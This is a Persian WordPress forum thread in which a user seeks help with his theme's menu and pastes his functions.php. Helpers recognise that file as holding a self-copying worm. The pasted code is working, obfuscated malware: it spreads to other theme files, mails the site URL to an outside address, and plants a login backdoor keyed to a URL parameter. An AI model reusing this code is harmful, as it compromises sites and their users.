• اطلاعیه ها

    • Saeed Fard

      پوشش زنده وردکمپ ۲۰۱۸ اروپا توسط وردپرس پارسی   23/03/97

      اگر کاربر وردپرس هستید حتما تا به حال اسم وردکمپ رو شنیدید، کمپ و دورهمی بزرگ توسعه‌دهنده‌ها و کاربران وردپرس که سالانه در کشورهای مختلف برگزار میشه تحت عنوان وردکمپ هستش که از سمت مراجع اصلی وردپرس حمایت و برگزار می‌شه.   این‌ بار در سال 2018 وردکمپ اروپا در شهر بلگراد کشور صربستان در حال برگزاری هستش، این رویداد طی سه روز 24 تا 26 تیر ماه (June 14-16) برگزار میشه، در این رویداد مصطفی صوفی از وردپرس پارسی و به نمایندگی تمامی کاربران وردپرس فارسی حضور داره. وردپرس پارسی رویداد وردکمپ 2018 اروپا رو به صورت زنده توسط مصطفی پوشش می‌ده و در صورت علاقه‌مندی به این مراسم می‌تونید از طریق وردپرس پارسی دنبالش کنید.در حال حاضر یک روز از این مراسم گذشته که گزارش اون در قسمت پوشش زنده قرار گرفته. برای دنبال کردن مراسم وردکمپ اروپا به صورت لحظه‌ای به صفحه پوشش زنده در قسمت زیر مراجعه کنید. همینطور در آینده منتظر خبر برگزاری اولین وردکمپ در ایران توسط وردپرس‌پارسی باشید. https://wp-parsi.com/wceu-2018

      لینک خبر در وردپرس پارسی : https://wp-parsi.com/wceu-2018-live  
Seyed Ali

پوسته ي سايتم از فهرست پشتيباني نمي كنه

20 پست در این موضوع قرار دارد

سلام

پوسته ي سايتم از فهرست پشتيباني نمي كنه؟ چطور مي تونم اين امكان رو اضافه كنم ؟

اگه بخوام فهرست رو مثل اين سايت :

http://tortak.com/

بالاي صفحه درست كنم چكار كنم ؟

آدرس سايتم :

http://razva.ir/

0

به اشتراک گذاری این پست


لینک به پست

اون كدي كه تو اين آموزش گفتيد رو كپي كردم اما بعدش اصلا سايت باز نميشه و اين ارور رو مي ده:

Parse error: syntax error, unexpected T_STRING in /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php on line 1

0

به اشتراک گذاری این پست


لینک به پست

سلام

مشکل در فایل فانکشن هست . ببینید کد php که شروع شده بسته شده یا نه ، یا اینکه کد رو در فانکشن درست گذاشتید یا نه . کد فایل فانکشن رو بذارید تا دوستان بررسی کنند .

1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

اين كد كاملشه :


<?phpif ( function_exists('register_sidebar') )register_sidebar(array('name'=>'right-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));if ( function_exists('register_sidebar') )register_sidebar(array('name'=>'left-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = bloginfo('stylesheet_directory')."/new_guide_app.jpg"; } return $first_img;}?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

توجه: برای قرار دادن کد از پیوست و یا ابزار "کد" در نوار ابزار انجمن استفاده کنید.

ویرایش شده در توسط سعید حسینی
استفاده نکردن از ابزار کد
0

به اشتراک گذاری این پست


لینک به پست

داداش این کد رو بی زحمت بذار تو یه فایل تکست ، پیوست کن . اینجوری که چیزی معلوم نیست !!! :D

1

به اشتراک گذاری این پست


لینک به پست

فایل پیوست رو امتحان کنید .

functions.php

1

به اشتراک گذاری این پست


لینک به پست

سلام

این functions.php امتحان کنید.

functions.php

فایل شما دارای این Worm نیز بود و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه.

3

به اشتراک گذاری این پست


لینک به پست

فريد جون فايلي كه دادي همون ارور رو مي داد

اما فايل آقا سعيد حسيني رو كه گذاشتم درست شد

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

0

به اشتراک گذاری این پست


لینک به پست

پس مشکل از جایی که من گفتم نبوده ، از همون worm هست که ایشون گفتن ، احتمالا این مشکل هم از همون ناشی میشه ...... فایل functions شما فکر کنم کلا داغونه !!!!

1

به اشتراک گذاری این پست


لینک به پست

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

این را جایگزین کنید:functions.php

2

به اشتراک گذاری این پست


لینک به پست

جايگزين كردم سعيد جان

مشكل رفع نشد

متاسفانه

0

به اشتراک گذاری این پست


لینک به پست

دوست عزیز اسپم نکنید. اسپم شما باعث شده سری بعد که از شما اسپمی ببینم شما رو برای چند روز از انجمن محروم کنم.

در مود مشکل هم شما اول فایلی که سعید عزیز دادن رو در پوسته جایگزین بعد سطح دسترسی نوستن فایل رو بردارید تا به فایل اطلاعات اضافی وارد نشه.

2

به اشتراک گذاری این پست


لینک به پست

سطح دسترسي رو چند باشه ؟

0

به اشتراک گذاری این پست


لینک به پست

سطح دسترسي رو چند باشه ؟

بعد از آپلود شما این کرم بلافاصله کد هارو اضافه میکنه پس با نامی به غیر از functions.php آپلود کنید مثلاً sampl.php و به سطح 644 تغییر بدید و بعد با تغیر نام به functions.php امتحان کنید.

و در مورد خطای "Warning: Cannot modify header information - headers already sent by" این خطا مربوط به فضاهای اضافی در ابتدا و انتهای بلوک باز و بسته شده php ) PHP?> و <?) در فایل functions.php به وجود میاد که این موارد هم رفع کردم.

و در پایان با ادامه پیدا کردن و رفع نشدن این مشکل فایل functions.php از پوسته اصلیتون دریافت با روشی که گفتم جایگزین کنید.

1

به اشتراک گذاری این پست


لینک به پست

با اجازه ادمین محترم

گاهی به خاطر UTF شدن ساختار فایل این مشکل پیش میاد و با انتخاب نوع بدون BOM حل میشه.

2

به اشتراک گذاری این پست


لینک به پست

من هم با اجازه ي ادمين هاي محترم و تاييد حرف iranata بگم كه براي من هم يك بار اين warning رو داد . اول fanctions.php اين رو گذاشتم و حل شد :


<?php ob_start(); ?>

2

به اشتراک گذاری این پست


لینک به پست

دو موردی که دوستان iranata و pary_daryayi مطرح کردند تایید میشه و این 2 فایل هم تست کنید.

1- functions1.php

2- functions2.php

3

به اشتراک گذاری این پست


لینک به پست

دوستان از همه ممنونم

خصوصا آقا سعيد حسيني

دستتون درد نكنه

مشكل حل شد

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط vazizi69@yahoo.com
      سلام 
      چطور میتونم برای صفحه اصلی سایت و صفحه فروشگاه و یا برگه های دیگه برای هر کدوم  فهرست منو ( منوی اصلی افقی بالای صفحه ) متفات داشته باشم 
      مثلا منوی افقی بالای صفحه مخصوص محصولات رو فقط تو صفحه فروشگاه دیده بشه و در صفحه دیگه ای از سایت منوی دیگه ای رو تنظیم کنم که نشون داده بشه
    • توسط mrasoul
      درخواست ساخت افزونه ایی رو دارم که توی این تایپیک راجع بهش توضیح دارم ...
      لطفا اگر کسی میتونه بسازه هزینه ی ساختش رو هم بگه
    • توسط ali23
      سلام دوستان 
      ما یه فروشگاهی درست کردیم که محصولات خودمون رو از طریق ووکامرس در اون قرار دادیم 
      خب حالا مشکل ما اینجاست که دسته هایی رو که در ووکامرس ساختیم ,در هنگام ساخت فهرست مشاهده نمیکنیم 

       
       
      همینطور که در عکس مشاهده میکنید  در قسمت دسته ها اون دسته هایی که من در محصولاتم در ووکامرس ساختم این جا موجود نیست چه کنم؟
      دیدن همه رو هم کلیک کردم اونجام همین چند تا بود اونا نبودن
      میشه راهنماییم کنید 
      تشکر 
    • توسط mostafabahrami
      با سلام خدمت تمام دوستان عزیز امیدوارم کسی بتونه به من کمک کنه ، من تو سایتم یه مشکل دارم و اونم اینه که میخوام فهرست سربرگ رو که بالای اسلایدرم هست از سمت چپ به سمت راست انتقال پیدا کنه و برعکس سرتیتر سایتم و لوگوش به سمت چپ برن عکس دمو رو هم براتون لینک میکنم دوستان.
      http://dl.hamyarwp.com/2015/02/spacious-naskh-hamyarwp.com_.png
      بله همونجوری که دیدید فقط میخوام بالای سایت جای منوهارو با سرتیتر عوض کنم.
       
      ممنونم
    • توسط hojat910
      سلام
      آیا راهی وجود داره که بتونم در فهرستهای وردپرس، به جای استفاده از آدرس http،از آی دی استفاده کنم?
      میخوام داخل یک صفحه،به یه بخش id مشخصی بدم که با کلیک روی فهرست، داخل همون صفحه و به بخش مورد نظر من هدایت بشه!
      راهی وجود داره?
      سپاس